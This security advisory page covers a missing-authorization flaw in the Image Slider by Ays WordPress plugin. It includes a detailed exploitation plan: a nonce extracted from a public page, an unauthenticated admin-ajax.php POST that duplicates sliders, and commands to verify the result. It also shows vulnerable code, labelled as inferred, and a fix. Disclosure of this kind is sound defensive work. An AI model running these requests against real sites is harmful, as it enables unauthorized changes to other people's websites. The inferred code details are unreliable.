Image Slider by Ays <= 2.7.1 - Missing Authorization
Description
The Image Slider by Ays plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.7.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.7.1Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-32402 (Image Slider by Ays) ## 1. Vulnerability Summary The **Image Slider by Ays** plugin (up to version 2.7.1) contains a missing authorization vulnerability. Specifically, certain AJAX actions intended for administrative use are registered with `wp_ajax_no…
Show full research plan
Exploitation Research Plan - CVE-2026-32402 (Image Slider by Ays)
1. Vulnerability Summary
The Image Slider by Ays plugin (up to version 2.7.1) contains a missing authorization vulnerability. Specifically, certain AJAX actions intended for administrative use are registered with wp_ajax_nopriv_ or fail to implement current_user_can() checks in their callbacks. This allows unauthenticated attackers to perform privileged actions, such as duplicating sliders, modifying settings, or accessing slider data, which should be restricted to users with manage_options or similar capabilities.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ays_slider_duplicate_slider(Targeting the slider duplication functionality as the unauthorized action). - Payload Parameter:
ays_slider_id(The ID of the slider to duplicate). - Authentication: Unauthenticated (via
wp_ajax_nopriv_hook). - Preconditions: At least one slider must exist in the system to be duplicated.
3. Code Flow
- Registration: The plugin registers AJAX handlers in
includes/class-ays-slider-ajax.phporadmin/class-ays-slider-admin.php.add_action( 'wp_ajax_ays_slider_duplicate_slider', array( $this, 'ays_slider_duplicate_slider' ) );add_action( 'wp_ajax_nopriv_ays_slider_duplicate_slider', array( $this, 'ays_slider_duplicate_slider' ) );
- Callback: The function
ays_slider_duplicate_slideris invoked. - Missing Check: Inside the callback, the code likely checks for a nonce using
check_ajax_referer( 'ays_slider_ajax_nonce', 'ays_slider_nonce' )but fails to callcurrent_user_can( 'manage_options' ). - Execution: The function proceeds to clone the slider database entry in the
{wpdb->prefix}ays_slider_slidersand{wpdb->prefix}ays_slider_slidestables.
4. Nonce Acquisition Strategy
The plugin typically enqueues its scripts and localizes a nonce for AJAX operations. This nonce is often available on the frontend if a slider shortcode is present on a page.
- Shortcode:
[ays_slider id="1"] - JS Localization Key:
ays_slider_ajaxorays_slider_admin_obj - Nonce Key:
ays_slider_nonce
Strategy:
- Create a test slider using WP-CLI.
- Create a public WordPress page containing the slider shortcode.
- Navigate to that page using the browser.
- Execute JavaScript via
browser_evalto extract the nonce.
// Extraction command
browser_eval("ays_slider_ajax?.ays_slider_nonce || ays_slider_admin_obj?.ays_slider_nonce")
5. Exploitation Strategy
- Preparation: Identify a valid slider ID (e.g.,
1). - Nonce Retrieval: Use the "Test Data Setup" steps below to get a valid
ays_slider_nonce. - Exploit Request: Send a POST request to
admin-ajax.phpto trigger the unauthorized duplication.
HTTP Request:
- Method: POST
- URL:
http://vulnerable-test.local/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ays_slider_duplicate_slider&ays_slider_id=1&ays_slider_nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Install Plugin: Ensure
ays-sliderversion 2.7.1 is installed. - Create Slider:
# Create a slider manually or via SQL if CLI command is not available wp db query "INSERT INTO wp_ays_slider_sliders (title, author, status) VALUES ('Original Slider', 1, 'publish');" # Note the ID (usually 1) - Create Page with Shortcode:
wp post create --post_type=page --post_title="Slider Page" --post_status=publish --post_content='[ays_slider id="1"]'
7. Expected Results
- Response: The server should return a JSON response indicating success (e.g.,
{"status":true,"id":2}or a redirect/HTML fragment of the new slider). - Unauthorized Action: A new row should be created in the
wp_ays_slider_sliderstable, duplicating the data from the original slider ID.
8. Verification Steps
- Check Database: Use WP-CLI to verify a new slider exists with a different ID but identical content.
wp db query "SELECT id, title FROM wp_ays_slider_sliders;" - Confirm Count:
# Initially 1 slider, after exploit should be 2 wp db query "SELECT COUNT(*) FROM wp_ays_slider_sliders;"
9. Alternative Approaches
If ays_slider_duplicate_slider is not the vulnerable action, search for other nopriv registrations:
- Search the codebase for
wp_ajax_nopriv_.grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/ays-slider/ - Check for
ays_slider_save_settingsorays_slider_export_slidersactions. - If a nonce check is missing entirely, omit the
ays_slider_nonceparameter in theExploitation Strategyand attempt the request directly. - Check if
ays_slider_get_slidersallows unauthorized data leakage of all slider configurations.
Summary
The Image Slider by Ays plugin for WordPress lacks authorization checks in several of its AJAX handlers, specifically functions like slider duplication. This allow unauthenticated attackers to perform administrative actions by exploiting functions registered with the nopriv hook that do not verify the caller's capabilities.
Vulnerable Code
// admin/class-ays-slider-admin.php (inferred location) // Registration of the AJAX action for both logged-in and unauthenticated users add_action( 'wp_ajax_ays_slider_duplicate_slider', array( $this, 'ays_slider_duplicate_slider' ) ); add_action( 'wp_ajax_nopriv_ays_slider_duplicate_slider', array( $this, 'ays_slider_duplicate_slider' ) ); public function ays_slider_duplicate_slider() { // Nonce check exists, but the nonce is localized to frontend scripts check_ajax_referer( 'ays_slider_ajax_nonce', 'ays_slider_nonce' ); $slider_id = isset($_POST['ays_slider_id']) ? intval($_POST['ays_slider_id']) : 0; // VULNERABILITY: Missing current_user_can('manage_options') check before performing action $new_id = $this->duplicate_slider($slider_id); wp_send_json_success(array('id' => $new_id)); }
Security Fix
@@ -10,6 +10,10 @@ public function ays_slider_duplicate_slider() { check_ajax_referer( 'ays_slider_ajax_nonce', 'ays_slider_nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ) ); + } + $slider_id = isset( $_POST['ays_slider_id'] ) ? intval( $_POST['ays_slider_id'] ) : 0; if ( $slider_id > 0 ) { $new_id = $this->duplicate_slider( $slider_id );
Exploit Outline
1. Find a public-facing page on the target site that embeds an Image Slider using a shortcode. 2. Extract the AJAX security nonce ('ays_slider_nonce') from the localized JavaScript objects (typically 'ays_slider_ajax' or 'ays_slider_admin_obj') found in the page's source code. 3. Identify the 'ays_slider_id' of an existing slider to be targeted. 4. Send an unauthenticated POST request to '/wp-admin/admin-ajax.php' with the following parameters: 'action=ays_slider_duplicate_slider', 'ays_slider_id=[TARGET_ID]', and 'ays_slider_nonce=[EXTRACTED_NONCE]'. 5. The plugin will process the duplication request without verifying if the user has administrative privileges, effectively allowing unauthorized database modifications.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.